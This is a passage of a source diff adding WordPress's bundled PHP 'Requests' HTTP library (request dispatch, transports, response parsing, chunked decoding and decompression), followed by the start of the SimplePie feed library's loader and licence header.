+ * Based on concepts from SimplePie_File, RequestCore and WP_Http.
+ *
+ * @package Requests
+ */
+
+/**
+ * Requests for PHP
+ *
+ * Inspired by Requests for Python.
+ *
+ * Based on concepts from SimplePie_File, RequestCore and WP_Http.
+ *
+ * @package Requests
+ */
+class Requests {
+	/**
+	 * POST method
+	 *
+	 * @var string
+	 */
+	const POST = 'POST';
+
+	/**
+	 * PUT method
+	 *
+	 * @var string
+	 */
+	const PUT = 'PUT';
+
+	/**
+	 * GET method
+	 *
+	 * @var string
+	 */
+	const GET = 'GET';
+
+	/**
+	 * HEAD method
+	 *
+	 * @var string
+	 */
+	const HEAD = 'HEAD';
+
+	/**
+	 * DELETE method
+	 *
+	 * @var string
+	 */
+	const DELETE = 'DELETE';
+
+	/**
+	 * OPTIONS method
+	 *
+	 * @var string
+	 */
+	const OPTIONS = 'OPTIONS';
+
+	/**
+	 * TRACE method
+	 *
+	 * @var string
+	 */
+	const TRACE = 'TRACE';
+
+	/**
+	 * PATCH method
+	 *
+	 * @link https://tools.ietf.org/html/rfc5789
+	 * @var string
+	 */
+	const PATCH = 'PATCH';
+
+	/**
+	 * Default size of buffer size to read streams
+	 *
+	 * @var integer
+	 */
+	const BUFFER_SIZE = 1160;
+
+	/**
+	 * Current version of Requests
+	 *
+	 * @var string
+	 */
+	const VERSION = '1.7';
+
+	/**
+	 * Registered transport classes
+	 *
+	 * @var array
+	 */
+	protected static $transports = array();
+
+	/**
+	 * Selected transport name
+	 *
+	 * Use {@see get_transport()} instead
+	 *
+	 * @var array
+	 */
+	public static $transport = array();
+
+	/**
+	 * Default certificate path.
+	 *
+	 * @see Requests::get_certificate_path()
+	 * @see Requests::set_certificate_path()
+	 *
+	 * @var string
+	 */
+	protected static $certificate_path;
+
+	/**
+	 * This is a static class, do not instantiate it
+	 *
+	 * @codeCoverageIgnore
+	 */
+	private function __construct() {}
+
+	/**
+	 * Autoloader for Requests
+	 *
+	 * Register this with {@see register_autoloader()} if you'd like to avoid
+	 * having to create your own.
+	 *
+	 * (You can also use `spl_autoload_register` directly if you'd prefer.)
+	 *
+	 * @codeCoverageIgnore
+	 *
+	 * @param string $class Class name to load
+	 */
+	public static function autoloader($class) {
+		// Check that the class starts with "Requests"
+		if (strpos($class, 'Requests') !== 0) {
+			return;
+		}
+
+		$file = str_replace('_', '/', $class);
+		if (file_exists(dirname(__FILE__) . '/' . $file . '.php')) {
+			require_once(dirname(__FILE__) . '/' . $file . '.php');
+		}
+	}
+
+	/**
+	 * Register the built-in autoloader
+	 *
+	 * @codeCoverageIgnore
+	 */
+	public static function register_autoloader() {
+		spl_autoload_register(array('Requests', 'autoloader'));
+	}
+
+	/**
+	 * Register a transport
+	 *
+	 * @param string $transport Transport class to add, must support the Requests_Transport interface
+	 */
+	public static function add_transport($transport) {
+		if (empty(self::$transports)) {
+			self::$transports = array(
+				'Requests_Transport_cURL',
+				'Requests_Transport_fsockopen',
+			);
+		}
+
+		self::$transports = array_merge(self::$transports, array($transport));
+	}
+
+	/**
+	 * Get a working transport
+	 *
+	 * @throws Requests_Exception If no valid transport is found (`notransport`)
+	 * @return Requests_Transport
+	 */
+	protected static function get_transport($capabilities = array()) {
+		// Caching code, don't bother testing coverage
+		// @codeCoverageIgnoreStart
+		// array of capabilities as a string to be used as an array key
+		ksort($capabilities);
+		$cap_string = serialize($capabilities);
+
+		// Don't search for a transport if it's already been done for these $capabilities
+		if (isset(self::$transport[$cap_string]) && self::$transport[$cap_string] !== null) {
+			return new self::$transport[$cap_string]();
+		}
+		// @codeCoverageIgnoreEnd
+
+		if (empty(self::$transports)) {
+			self::$transports = array(
+				'Requests_Transport_cURL',
+				'Requests_Transport_fsockopen',
+			);
+		}
+
+		// Find us a working transport
+		foreach (self::$transports as $class) {
+			if (!class_exists($class)) {
+				continue;
+			}
+
+			$result = call_user_func(array($class, 'test'), $capabilities);
+			if ($result) {
+				self::$transport[$cap_string] = $class;
+				break;
+			}
+		}
+		if (self::$transport[$cap_string] === null) {
+			throw new Requests_Exception('No working transports found', 'notransport', self::$transports);
+		}
+
+		return new self::$transport[$cap_string]();
+	}
+
+	/**#@+
+	 * @see request()
+	 * @param string $url
+	 * @param array $headers
+	 * @param array $options
+	 * @return Requests_Response
+	 */
+	/**
+	 * Send a GET request
+	 */
+	public static function get($url, $headers = array(), $options = array()) {
+		return self::request($url, $headers, null, self::GET, $options);
+	}
+
+	/**
+	 * Send a HEAD request
+	 */
+	public static function head($url, $headers = array(), $options = array()) {
+		return self::request($url, $headers, null, self::HEAD, $options);
+	}
+
+	/**
+	 * Send a DELETE request
+	 */
+	public static function delete($url, $headers = array(), $options = array()) {
+		return self::request($url, $headers, null, self::DELETE, $options);
+	}
+
+	/**
+	 * Send a TRACE request
+	 */
+	public static function trace($url, $headers = array(), $options = array()) {
+		return self::request($url, $headers, null, self::TRACE, $options);
+	}
+	/**#@-*/
+
+	/**#@+
+	 * @see request()
+	 * @param string $url
+	 * @param array $headers
+	 * @param array $data
+	 * @param array $options
+	 * @return Requests_Response
+	 */
+	/**
+	 * Send a POST request
+	 */
+	public static function post($url, $headers = array(), $data = array(), $options = array()) {
+		return self::request($url, $headers, $data, self::POST, $options);
+	}
+	/**
+	 * Send a PUT request
+	 */
+	public static function put($url, $headers = array(), $data = array(), $options = array()) {
+		return self::request($url, $headers, $data, self::PUT, $options);
+	}
+
+	/**
+	 * Send an OPTIONS request
+	 */
+	public static function options($url, $headers = array(), $data = array(), $options = array()) {
+		return self::request($url, $headers, $data, self::OPTIONS, $options);
+	}
+
+	/**
+	 * Send a PATCH request
+	 *
+	 * Note: Unlike {@see post} and {@see put}, `$headers` is required, as the
+	 * specification recommends that should send an ETag
+	 *
+	 * @link https://tools.ietf.org/html/rfc5789
+	 */
+	public static function patch($url, $headers, $data = array(), $options = array()) {
+		return self::request($url, $headers, $data, self::PATCH, $options);
+	}
+	/**#@-*/
+
+	/**
+	 * Main interface for HTTP requests
+	 *
+	 * This method initiates a request and sends it via a transport before
+	 * parsing.
+	 *
+	 * The `$options` parameter takes an associative array with the following
+	 * options:
+	 *
+	 * - `timeout`: How long should we wait for a response?
+	 *    Note: for cURL, a minimum of 1 second applies, as DNS resolution
+	 *    operates at second-resolution only.
+	 *    (float, seconds with a millisecond precision, default: 10, example: 0.01)
+	 * - `connect_timeout`: How long should we wait while trying to connect?
+	 *    (float, seconds with a millisecond precision, default: 10, example: 0.01)
+	 * - `useragent`: Useragent to send to the server
+	 *    (string, default: php-requests/$version)
+	 * - `follow_redirects`: Should we follow 3xx redirects?
+	 *    (boolean, default: true)
+	 * - `redirects`: How many times should we redirect before erroring?
+	 *    (integer, default: 10)
+	 * - `blocking`: Should we block processing on this request?
+	 *    (boolean, default: true)
+	 * - `filename`: File to stream the body to instead.
+	 *    (string|boolean, default: false)
+	 * - `auth`: Authentication handler or array of user/password details to use
+	 *    for Basic authentication
+	 *    (Requests_Auth|array|boolean, default: false)
+	 * - `proxy`: Proxy details to use for proxy by-passing and authentication
+	 *    (Requests_Proxy|array|string|boolean, default: false)
+	 * - `max_bytes`: Limit for the response body size.
+	 *    (integer|boolean, default: false)
+	 * - `idn`: Enable IDN parsing
+	 *    (boolean, default: true)
+	 * - `transport`: Custom transport. Either a class name, or a
+	 *    transport object. Defaults to the first working transport from
+	 *    {@see getTransport()}
+	 *    (string|Requests_Transport, default: {@see getTransport()})
+	 * - `hooks`: Hooks handler.
+	 *    (Requests_Hooker, default: new Requests_Hooks())
+	 * - `verify`: Should we verify SSL certificates? Allows passing in a custom
+	 *    certificate file as a string. (Using true uses the system-wide root
+	 *    certificate store instead, but this may have different behaviour
+	 *    across transports.)
+	 *    (string|boolean, default: library/Requests/Transport/cacert.pem)
+	 * - `verifyname`: Should we verify the common name in the SSL certificate?
+	 *    (boolean: default, true)
+	 * - `data_format`: How should we send the `$data` parameter?
+	 *    (string, one of 'query' or 'body', default: 'query' for
+	 *    HEAD/GET/DELETE, 'body' for POST/PUT/OPTIONS/PATCH)
+	 *
+	 * @throws Requests_Exception On invalid URLs (`nonhttp`)
+	 *
+	 * @param string $url URL to request
+	 * @param array $headers Extra headers to send with the request
+	 * @param array|null $data Data to send either as a query string for GET/HEAD requests, or in the body for POST requests
+	 * @param string $type HTTP request type (use Requests constants)
+	 * @param array $options Options for the request (see description for more information)
+	 * @return Requests_Response
+	 */
+	public static function request($url, $headers = array(), $data = array(), $type = self::GET, $options = array()) {
+		if (empty($options['type'])) {
+			$options['type'] = $type;
+		}
+		$options = array_merge(self::get_default_options(), $options);
+
+		self::set_defaults($url, $headers, $data, $type, $options);
+
+		$options['hooks']->dispatch('requests.before_request', array(&$url, &$headers, &$data, &$type, &$options));
+
+		if (!empty($options['transport'])) {
+			$transport = $options['transport'];
+
+			if (is_string($options['transport'])) {
+				$transport = new $transport();
+			}
+		}
+		else {
+			$need_ssl = (0 === stripos($url, 'https://'));
+			$capabilities = array('ssl' => $need_ssl);
+			$transport = self::get_transport($capabilities);
+		}
+		$response = $transport->request($url, $headers, $data, $options);
+
+		$options['hooks']->dispatch('requests.before_parse', array(&$response, $url, $headers, $data, $type, $options));
+
+		return self::parse_response($response, $url, $headers, $data, $options);
+	}
+
+	/**
+	 * Send multiple HTTP requests simultaneously
+	 *
+	 * The `$requests` parameter takes an associative or indexed array of
+	 * request fields. The key of each request can be used to match up the
+	 * request with the returned data, or with the request passed into your
+	 * `multiple.request.complete` callback.
+	 *
+	 * The request fields value is an associative array with the following keys:
+	 *
+	 * - `url`: Request URL Same as the `$url` parameter to
+	 *    {@see Requests::request}
+	 *    (string, required)
+	 * - `headers`: Associative array of header fields. Same as the `$headers`
+	 *    parameter to {@see Requests::request}
+	 *    (array, default: `array()`)
+	 * - `data`: Associative array of data fields or a string. Same as the
+	 *    `$data` parameter to {@see Requests::request}
+	 *    (array|string, default: `array()`)
+	 * - `type`: HTTP request type (use Requests constants). Same as the `$type`
+	 *    parameter to {@see Requests::request}
+	 *    (string, default: `Requests::GET`)
+	 * - `cookies`: Associative array of cookie name to value, or cookie jar.
+	 *    (array|Requests_Cookie_Jar)
+	 *
+	 * If the `$options` parameter is specified, individual requests will
+	 * inherit options from it. This can be used to use a single hooking system,
+	 * or set all the types to `Requests::POST`, for example.
+	 *
+	 * In addition, the `$options` parameter takes the following global options:
+	 *
+	 * - `complete`: A callback for when a request is complete. Takes two
+	 *    parameters, a Requests_Response/Requests_Exception reference, and the
+	 *    ID from the request array (Note: this can also be overridden on a
+	 *    per-request basis, although that's a little silly)
+	 *    (callback)
+	 *
+	 * @param array $requests Requests data (see description for more information)
+	 * @param array $options Global and default options (see {@see Requests::request})
+	 * @return array Responses (either Requests_Response or a Requests_Exception object)
+	 */
+	public static function request_multiple($requests, $options = array()) {
+		$options = array_merge(self::get_default_options(true), $options);
+
+		if (!empty($options['hooks'])) {
+			$options['hooks']->register('transport.internal.parse_response', array('Requests', 'parse_multiple'));
+			if (!empty($options['complete'])) {
+				$options['hooks']->register('multiple.request.complete', $options['complete']);
+			}
+		}
+
+		foreach ($requests as $id => &$request) {
+			if (!isset($request['headers'])) {
+				$request['headers'] = array();
+			}
+			if (!isset($request['data'])) {
+				$request['data'] = array();
+			}
+			if (!isset($request['type'])) {
+				$request['type'] = self::GET;
+			}
+			if (!isset($request['options'])) {
+				$request['options'] = $options;
+				$request['options']['type'] = $request['type'];
+			}
+			else {
+				if (empty($request['options']['type'])) {
+					$request['options']['type'] = $request['type'];
+				}
+				$request['options'] = array_merge($options, $request['options']);
+			}
+
+			self::set_defaults($request['url'], $request['headers'], $request['data'], $request['type'], $request['options']);
+
+			// Ensure we only hook in once
+			if ($request['options']['hooks'] !== $options['hooks']) {
+				$request['options']['hooks']->register('transport.internal.parse_response', array('Requests', 'parse_multiple'));
+				if (!empty($request['options']['complete'])) {
+					$request['options']['hooks']->register('multiple.request.complete', $request['options']['complete']);
+				}
+			}
+		}
+		unset($request);
+
+		if (!empty($options['transport'])) {
+			$transport = $options['transport'];
+
+			if (is_string($options['transport'])) {
+				$transport = new $transport();
+			}
+		}
+		else {
+			$transport = self::get_transport();
+		}
+		$responses = $transport->request_multiple($requests, $options);
+
+		foreach ($responses as $id => &$response) {
+			// If our hook got messed with somehow, ensure we end up with the
+			// correct response
+			if (is_string($response)) {
+				$request = $requests[$id];
+				self::parse_multiple($response, $request);
+				$request['options']['hooks']->dispatch('multiple.request.complete', array(&$response, $id));
+			}
+		}
+
+		return $responses;
+	}
+
+	/**
+	 * Get the default options
+	 *
+	 * @see Requests::request() for values returned by this method
+	 * @param boolean $multirequest Is this a multirequest?
+	 * @return array Default option values
+	 */
+	protected static function get_default_options($multirequest = false) {
+		$defaults = array(
+			'timeout' => 10,
+			'connect_timeout' => 10,
+			'useragent' => 'php-requests/' . self::VERSION,
+			'protocol_version' => 1.1,
+			'redirected' => 0,
+			'redirects' => 10,
+			'follow_redirects' => true,
+			'blocking' => true,
+			'type' => self::GET,
+			'filename' => false,
+			'auth' => false,
+			'proxy' => false,
+			'cookies' => false,
+			'max_bytes' => false,
+			'idn' => true,
+			'hooks' => null,
+			'transport' => null,
+			'verify' => Requests::get_certificate_path(),
+			'verifyname' => true,
+		);
+		if ($multirequest !== false) {
+			$defaults['complete'] = null;
+		}
+		return $defaults;
+	}
+
+	/**
+	 * Get default certificate path.
+	 *
+	 * @return string Default certificate path.
+	 */
+	public static function get_certificate_path() {
+		if ( ! empty( Requests::$certificate_path ) ) {
+			return Requests::$certificate_path;
+		}
+
+		return dirname(__FILE__) . '/Requests/Transport/cacert.pem';
+	}
+
+	/**
+	 * Set default certificate path.
+	 *
+	 * @param string $path Certificate path, pointing to a PEM file.
+	 */
+	public static function set_certificate_path( $path ) {
+		Requests::$certificate_path = $path;
+	}
+
+	/**
+	 * Set the default values
+	 *
+	 * @param string $url URL to request
+	 * @param array $headers Extra headers to send with the request
+	 * @param array|null $data Data to send either as a query string for GET/HEAD requests, or in the body for POST requests
+	 * @param string $type HTTP request type
+	 * @param array $options Options for the request
+	 * @return array $options
+	 */
+	protected static function set_defaults(&$url, &$headers, &$data, &$type, &$options) {
+		if (!preg_match('/^http(s)?:\/\//i', $url, $matches)) {
+			throw new Requests_Exception('Only HTTP(S) requests are handled.', 'nonhttp', $url);
+		}
+
+		if (empty($options['hooks'])) {
+			$options['hooks'] = new Requests_Hooks();
+		}
+
+		if (is_array($options['auth'])) {
+			$options['auth'] = new Requests_Auth_Basic($options['auth']);
+		}
+		if ($options['auth'] !== false) {
+			$options['auth']->register($options['hooks']);
+		}
+
+		if (is_string($options['proxy']) || is_array($options['proxy'])) {
+			$options['proxy'] = new Requests_Proxy_HTTP($options['proxy']);
+		}
+		if ($options['proxy'] !== false) {
+			$options['proxy']->register($options['hooks']);
+		}
+
+		if (is_array($options['cookies'])) {
+			$options['cookies'] = new Requests_Cookie_Jar($options['cookies']);
+		}
+		elseif (empty($options['cookies'])) {
+			$options['cookies'] = new Requests_Cookie_Jar();
+		}
+		if ($options['cookies'] !== false) {
+			$options['cookies']->register($options['hooks']);
+		}
+
+		if ($options['idn'] !== false) {
+			$iri = new Requests_IRI($url);
+			$iri->host = Requests_IDNAEncoder::encode($iri->ihost);
+			$url = $iri->uri;
+		}
+
+		// Massage the type to ensure we support it.
+		$type = strtoupper($type);
+
+		if (!isset($options['data_format'])) {
+			if (in_array($type, array(self::HEAD, self::GET, self::DELETE))) {
+				$options['data_format'] = 'query';
+			}
+			else {
+				$options['data_format'] = 'body';
+			}
+		}
+	}
+
+	/**
+	 * HTTP response parser
+	 *
+	 * @throws Requests_Exception On missing head/body separator (`requests.no_crlf_separator`)
+	 * @throws Requests_Exception On missing head/body separator (`noversion`)
+	 * @throws Requests_Exception On missing head/body separator (`toomanyredirects`)
+	 *
+	 * @param string $headers Full response text including headers and body
+	 * @param string $url Original request URL
+	 * @param array $req_headers Original $headers array passed to {@link request()}, in case we need to follow redirects
+	 * @param array $req_data Original $data array passed to {@link request()}, in case we need to follow redirects
+	 * @param array $options Original $options array passed to {@link request()}, in case we need to follow redirects
+	 * @return Requests_Response
+	 */
+	protected static function parse_response($headers, $url, $req_headers, $req_data, $options) {
+		$return = new Requests_Response();
+		if (!$options['blocking']) {
+			return $return;
+		}
+
+		$return->raw = $headers;
+		$return->url = $url;
+
+		if (!$options['filename']) {
+			if (($pos = strpos($headers, "\r\n\r\n")) === false) {
+				// Crap!
+				throw new Requests_Exception('Missing header/body separator', 'requests.no_crlf_separator');
+			}
+
+			$headers = substr($return->raw, 0, $pos);
+			$return->body = substr($return->raw, $pos + strlen("\n\r\n\r"));
+		}
+		else {
+			$return->body = '';
+		}
+		// Pretend CRLF = LF for compatibility (RFC 2616, section 19.3)
+		$headers = str_replace("\r\n", "\n", $headers);
+		// Unfold headers (replace [CRLF] 1*( SP | HT ) with SP) as per RFC 2616 (section 2.2)
+		$headers = preg_replace('/\n[ \t]/', ' ', $headers);
+		$headers = explode("\n", $headers);
+		preg_match('#^HTTP/(1\.\d)[ \t]+(\d+)#i', array_shift($headers), $matches);
+		if (empty($matches)) {
+			throw new Requests_Exception('Response could not be parsed', 'noversion', $headers);
+		}
+		$return->protocol_version = (float) $matches[1];
+		$return->status_code = (int) $matches[2];
+		if ($return->status_code >= 200 && $return->status_code < 300) {
+			$return->success = true;
+		}
+
+		foreach ($headers as $header) {
+			list($key, $value) = explode(':', $header, 2);
+			$value = trim($value);
+			preg_replace('#(\s+)#i', ' ', $value);
+			$return->headers[$key] = $value;
+		}
+		if (isset($return->headers['transfer-encoding'])) {
+			$return->body = self::decode_chunked($return->body);
+			unset($return->headers['transfer-encoding']);
+		}
+		if (isset($return->headers['content-encoding'])) {
+			$return->body = self::decompress($return->body);
+		}
+
+		//fsockopen and cURL compatibility
+		if (isset($return->headers['connection'])) {
+			unset($return->headers['connection']);
+		}
+
+		$options['hooks']->dispatch('requests.before_redirect_check', array(&$return, $req_headers, $req_data, $options));
+
+		if ($return->is_redirect() && $options['follow_redirects'] === true) {
+			if (isset($return->headers['location']) && $options['redirected'] < $options['redirects']) {
+				if ($return->status_code === 303) {
+					$options['type'] = self::GET;
+				}
+				$options['redirected']++;
+				$location = $return->headers['location'];
+				if (strpos($location, 'http://') !== 0 && strpos($location, 'https://') !== 0) {
+					// relative redirect, for compatibility make it absolute
+					$location = Requests_IRI::absolutize($url, $location);
+					$location = $location->uri;
+				}
+
+				$hook_args = array(
+					&$location,
+					&$req_headers,
+					&$req_data,
+					&$options,
+					$return
+				);
+				$options['hooks']->dispatch('requests.before_redirect', $hook_args);
+				$redirected = self::request($location, $req_headers, $req_data, $options['type'], $options);
+				$redirected->history[] = $return;
+				return $redirected;
+			}
+			elseif ($options['redirected'] >= $options['redirects']) {
+				throw new Requests_Exception('Too many redirects', 'toomanyredirects', $return);
+			}
+		}
+
+		$return->redirects = $options['redirected'];
+
+		$options['hooks']->dispatch('requests.after_request', array(&$return, $req_headers, $req_data, $options));
+		return $return;
+	}
+
+	/**
+	 * Callback for `transport.internal.parse_response`
+	 *
+	 * Internal use only. Converts a raw HTTP response to a Requests_Response
+	 * while still executing a multiple request.
+	 *
+	 * @param string $response Full response text including headers and body (will be overwritten with Response instance)
+	 * @param array $request Request data as passed into {@see Requests::request_multiple()}
+	 * @return null `$response` is either set to a Requests_Response instance, or a Requests_Exception object
+	 */
+	public static function parse_multiple(&$response, $request) {
+		try {
+			$url = $request['url'];
+			$headers = $request['headers'];
+			$data = $request['data'];
+			$options = $request['options'];
+			$response = self::parse_response($response, $url, $headers, $data, $options);
+		}
+		catch (Requests_Exception $e) {
+			$response = $e;
+		}
+	}
+
+	/**
+	 * Decoded a chunked body as per RFC 2616
+	 *
+	 * @see https://tools.ietf.org/html/rfc2616#section-3.6.1
+	 * @param string $data Chunked body
+	 * @return string Decoded body
+	 */
+	protected static function decode_chunked($data) {
+		if (!preg_match('/^([0-9a-f]+)(?:;(?:[\w-]*)(?:=(?:(?:[\w-]*)*|"(?:[^\r\n])*"))?)*\r\n/i', trim($data))) {
+			return $data;
+		}
+
+
+
+		$decoded = '';
+		$encoded = $data;
+
+		while (true) {
+			$is_chunked = (bool) preg_match('/^([0-9a-f]+)(?:;(?:[\w-]*)(?:=(?:(?:[\w-]*)*|"(?:[^\r\n])*"))?)*\r\n/i', $encoded, $matches);
+			if (!$is_chunked) {
+				// Looks like it's not chunked after all
+				return $data;
+			}
+
+			$length = hexdec(trim($matches[1]));
+			if ($length === 0) {
+				// Ignore trailer headers
+				return $decoded;
+			}
+
+			$chunk_length = strlen($matches[0]);
+			$decoded .= substr($encoded, $chunk_length, $length);
+			$encoded = substr($encoded, $chunk_length + $length + 2);
+
+			if (trim($encoded) === '0' || empty($encoded)) {
+				return $decoded;
+			}
+		}
+
+		// We'll never actually get down here
+		// @codeCoverageIgnoreStart
+	}
+	// @codeCoverageIgnoreEnd
+
+	/**
+	 * Convert a key => value array to a 'key: value' array for headers
+	 *
+	 * @param array $array Dictionary of header values
+	 * @return array List of headers
+	 */
+	public static function flatten($array) {
+		$return = array();
+		foreach ($array as $key => $value) {
+			$return[] = sprintf('%s: %s', $key, $value);
+		}
+		return $return;
+	}
+
+	/**
+	 * Convert a key => value array to a 'key: value' array for headers
+	 *
+	 * @codeCoverageIgnore
+	 * @deprecated Misspelling of {@see Requests::flatten}
+	 * @param array $array Dictionary of header values
+	 * @return array List of headers
+	 */
+	public static function flattern($array) {
+		return self::flatten($array);
+	}
+
+	/**
+	 * Decompress an encoded body
+	 *
+	 * Implements gzip, compress and deflate. Guesses which it is by attempting
+	 * to decode.
+	 *
+	 * @param string $data Compressed data in one of the above formats
+	 * @return string Decompressed string
+	 */
+	public static function decompress($data) {
+		if (substr($data, 0, 2) !== "\x1f\x8b" && substr($data, 0, 2) !== "\x78\x9c") {
+			// Not actually compressed. Probably cURL ruining this for us.
+			return $data;
+		}
+
+		if (function_exists('gzdecode') && ($decoded = @gzdecode($data)) !== false) {
+			return $decoded;
+		}
+		elseif (function_exists('gzinflate') && ($decoded = @gzinflate($data)) !== false) {
+			return $decoded;
+		}
+		elseif (($decoded = self::compatible_gzinflate($data)) !== false) {
+			return $decoded;
+		}
+		elseif (function_exists('gzuncompress') && ($decoded = @gzuncompress($data)) !== false) {
+			return $decoded;
+		}
+
+		return $data;
+	}
+
+	/**
+	 * Decompression of deflated string while staying compatible with the majority of servers.
+	 *
+	 * Certain Servers will return deflated data with headers which PHP's gzinflate()
+	 * function cannot handle out of the box. The following function has been created from
+	 * various snippets on the gzinflate() PHP documentation.
+	 *
+	 * Warning: Magic numbers within. Due to the potential different formats that the compressed
+	 * data may be returned in, some "magic offsets" are needed to ensure proper decompression
+	 * takes place. For a simple progmatic way to determine the magic offset in use, see:
+	 * https://core.trac.wordpress.org/ticket/18273
+	 *
+	 * @since 2.8.1
+	 * @link https://core.trac.wordpress.org/ticket/18273
+	 * @link https://secure.php.net/manual/en/function.gzinflate.php#70875
+	 * @link https://secure.php.net/manual/en/function.gzinflate.php#77336
+	 *
+	 * @param string $gzData String to decompress.
+	 * @return string|bool False on failure.
+	 */
+	public static function compatible_gzinflate($gzData) {
+		// Compressed data might contain a full zlib header, if so strip it for
+		// gzinflate()
+		if (substr($gzData, 0, 3) == "\x1f\x8b\x08") {
+			$i = 10;
+			$flg = ord(substr($gzData, 3, 1));
+			if ($flg > 0) {
+				if ($flg & 4) {
+					list($xlen) = unpack('v', substr($gzData, $i, 2));
+					$i = $i + 2 + $xlen;
+				}
+				if ($flg & 8) {
+					$i = strpos($gzData, "\0", $i) + 1;
+				}
+				if ($flg & 16) {
+					$i = strpos($gzData, "\0", $i) + 1;
+				}
+				if ($flg & 2) {
+					$i = $i + 2;
+				}
+			}
+			$decompressed = self::compatible_gzinflate(substr($gzData, $i));
+			if (false !== $decompressed) {
+				return $decompressed;
+			}
+		}
+
+		// If the data is Huffman Encoded, we must first strip the leading 2
+		// byte Huffman marker for gzinflate()
+		// The response is Huffman coded by many compressors such as
+		// java.util.zip.Deflater, Ruby’s Zlib::Deflate, and .NET's
+		// System.IO.Compression.DeflateStream.
+		//
+		// See https://decompres.blogspot.com/ for a quick explanation of this
+		// data type
+		$huffman_encoded = false;
+
+		// low nibble of first byte should be 0x08
+		list(, $first_nibble)    = unpack('h', $gzData);
+
+		// First 2 bytes should be divisible by 0x1F
+		list(, $first_two_bytes) = unpack('n', $gzData);
+
+		if (0x08 == $first_nibble && 0 == ($first_two_bytes % 0x1F)) {
+			$huffman_encoded = true;
+		}
+
+		if ($huffman_encoded) {
+			if (false !== ($decompressed = @gzinflate(substr($gzData, 2)))) {
+				return $decompressed;
+			}
+		}
+
+		if ("\x50\x4b\x03\x04" == substr($gzData, 0, 4)) {
+			// ZIP file format header
+			// Offset 6: 2 bytes, General-purpose field
+			// Offset 26: 2 bytes, filename length
+			// Offset 28: 2 bytes, optional field length
+			// Offset 30: Filename field, followed by optional field, followed
+			// immediately by data
+			list(, $general_purpose_flag) = unpack('v', substr($gzData, 6, 2));
+
+			// If the file has been compressed on the fly, 0x08 bit is set of
+			// the general purpose field. We can use this to differentiate
+			// between a compressed document, and a ZIP file
+			$zip_compressed_on_the_fly = (0x08 == (0x08 & $general_purpose_flag));
+
+			if (!$zip_compressed_on_the_fly) {
+				// Don't attempt to decode a compressed zip file
+				return $gzData;
+			}
+
+			// Determine the first byte of data, based on the above ZIP header
+			// offsets:
+			$first_file_start = array_sum(unpack('v2', substr($gzData, 26, 4)));
+			if (false !== ($decompressed = @gzinflate(substr($gzData, 30 + $first_file_start)))) {
+				return $decompressed;
+			}
+			return false;
+		}
+
+		// Finally fall back to straight gzinflate
+		if (false !== ($decompressed = @gzinflate($gzData))) {
+			return $decompressed;
+		}
+
+		// Fallback for all above failing, not expected, but included for
+		// debugging and preventing regressions and to track stats
+		if (false !== ($decompressed = @gzinflate(substr($gzData, 2)))) {
+			return $decompressed;
+		}
+
+		return false;
+	}
+
+	public static function match_domain($host, $reference) {
+		// Check for a direct match
+		if ($host === $reference) {
+			return true;
+		}
+
+		// Calculate the valid wildcard match if the host is not an IP address
+		// Also validates that the host has 3 parts or more, as per Firefox's
+		// ruleset.
+		$parts = explode('.', $host);
+		if (ip2long($host) === false && count($parts) >= 3) {
+			$parts[0] = '*';
+			$wildcard = implode('.', $parts);
+			if ($wildcard === $reference) {
+				return true;
+			}
+		}
+
+		return false;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class-simplepie.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-simplepie.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-simplepie.php	(revision 56912)
@@ -0,0 +1,3094 @@
+<?php
+if ( ! class_exists( 'SimplePie', false ) ) :
+
+// Load classes we will need.
+require ABSPATH . WPINC . '/SimplePie/Misc.php';
+require ABSPATH . WPINC . '/SimplePie/Cache.php';
+require ABSPATH . WPINC . '/SimplePie/File.php';
+require ABSPATH . WPINC . '/SimplePie/Sanitize.php';
+require ABSPATH . WPINC . '/SimplePie/Registry.php';
+require ABSPATH . WPINC . '/SimplePie/IRI.php';
+require ABSPATH . WPINC . '/SimplePie/Locator.php';
+require ABSPATH . WPINC . '/SimplePie/Content/Type/Sniffer.php';
+require ABSPATH . WPINC . '/SimplePie/XML/Declaration/Parser.php';
+require ABSPATH . WPINC . '/SimplePie/Parser.php';
+require ABSPATH . WPINC . '/SimplePie/Item.php';
+require ABSPATH . WPINC . '/SimplePie/Parse/Date.php';
+require ABSPATH . WPINC . '/SimplePie/Author.php';
+
+/**
+ * WordPress autoloader for SimplePie.
+ *
+ * @since 3.5.0
+ */
+function wp_simplepie_autoload( $class ) {
+	if ( 0 !== strpos( $class, 'SimplePie_' ) )
+		return;
+
+	$file = ABSPATH . WPINC . '/' . str_replace( '_', '/', $class ) . '.php';
+	include( $file );
+}
+
+/**
+ * We autoload classes we may not need.
+ */
+spl_autoload_register( 'wp_simplepie_autoload' );
+
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
